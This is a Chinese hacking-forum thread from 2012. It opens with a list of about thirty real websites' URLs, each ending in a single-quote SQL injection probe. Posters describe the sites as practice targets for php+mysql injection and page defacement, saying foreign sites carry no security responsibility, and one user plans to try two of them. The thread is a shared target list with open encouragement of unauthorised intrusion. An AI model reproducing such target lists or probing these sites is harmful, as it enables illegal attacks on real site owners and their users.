http://boxofficebuz.com/news_full.php?id=36'
http://www.tankmuseum.org/shop/category.php?cat_id=1'
http://www.intimatemalta.com/shop/category.php?ID=27'
http://www.aucklandcamera.com/product.php?id=11307'
http://www.ahmdirect.com/newsDetail.php?id_detail=4'
http://inrecs.com/releases.php?id=43'
http://linkbrandunion.net/productinfo.php?id=271'
http://www.becomehealthynow.com/newsitem.php?id=87'
http://carolinatt.org/v3/newsitem.php?id_art=199'
http://pgosh.com/main.php?mod=view-images-detail&images_id=16'
http://www.iplab.co.uk/view_product.php?product_id=2'
http://www.widescreenreview.com/news_detail.php?id=19267'
http://www.fspacerpg.com/proddetail.php?ID=FSPEB103'
http://www.uslandandhome.com/detail.php?id=2507'
http://www.wcac.org/show.php?id=1'
http://tritecbuilding.com/news_detail.php?id=24'
http://association.cqu.edu.au/cqusa_faq/php/view-faq.php?id=45'
http://www.canalchat.com/transcript.php?id_alaffiche=918'
http://www.hkyongnuo.com/e-detail.php?ID=288'
http://www.bulletproofautomotive.com/catalog-detail.php?ID=7208'
http://www.becomehealthynow.com/newsitem.php?id=38'
http://www.gp.org/speakers/detail.php?ID=35'
http://www.cic.rmuti.ac.th/readnews.php?news_id=52'
http://www.bulletproofautomotive.com/catalog-detail.php?ID=5676'
http://www.tritecrealestate.com/news_detail.php?id=19'
http://www.yboaofnc.com/event.php?id=53'
http://www.starswelove.com/scriptsphp/showimg.php?imageid=42894'
http://www.bcspeakers.com/product.php?id=68'
http://www.semetals.com/product.php?id=23'
http://acode.b2b.cn/union_utf/keyword.aspx?mainonestyle=1&mainkey='

点评

好多站呀,我试两个,嘻嘻  发表于 2012-5-6 22:23
 楼主| 发表于 2012-4-6 22:06:00 | 显示全部楼层
这不是 上次 给你看的吗?
你怎么 贴出来了?
这样做不好吧?
。。。。。。。。。。。。。。。
要是哪天无聊,也可以去挂挂。。。。。。。。。
发表于 2012-4-6 22:19:29 | 显示全部楼层
cnlouts 发表于 2012-4-6 22:06
这不是 上次 给你看的吗?
你怎么 贴出来了?
这样做不好吧?

这个都是国外的,所以咱们没有安全责任。根据你最近发的,正好给大家练php+mysql啊。
挂页的那个更自由了,just gua it.
 楼主| 发表于 2012-4-6 22:31:56 | 显示全部楼层
random_ 发表于 2012-4-6 22:19
这个都是国外的,所以咱们没有安全责任。根据你最近发的,正好给大家练php+mysql啊。
挂页的那个更自由了 ...

刚刚写了篇 MSSQL的
其实MSSQL 和MySQL是类似的。
可惜,我认真写的没人看看。
不解。也许是。。。也许是。。。。
其实有很多地方都是我的心得。。。
还是论坛没什么人浏览。。。。。。。。
发表于 2012-4-13 23:13:01 | 显示全部楼层
表示看我完了,不知道现在能不能评论……
 楼主| 发表于 2012-4-14 12:55:23 | 显示全部楼层
alzyan 发表于 2012-4-13 23:13
表示看我完了,不知道现在能不能评论……

您想说什么就说什么 言论自由
发表于 2012-6-25 09:34:20 | 显示全部楼层
cnlouts 发表于 2012-4-6 22:31
刚刚写了篇 MSSQL的
其实MSSQL 和MySQL是类似的。
可惜,我认真写的没人看看。

求地址~~~~~~~~~
您需要登录后才可以回帖 登录 | 加入天马

本版积分规则

Archiver|手机版|小黑屋|天马行空工作室 ( 京ICP备12003429号  

GMT+8, 2019-10-21 10:54 , Processed in 1.357121 second(s), 24 queries .

Powered by Discuz! v8

© 2010-2014 注入某XXOO品牌:换个名字也许就有点击率。 - SQL注入 天马行空工作室

快速回复 返回顶部 返回列表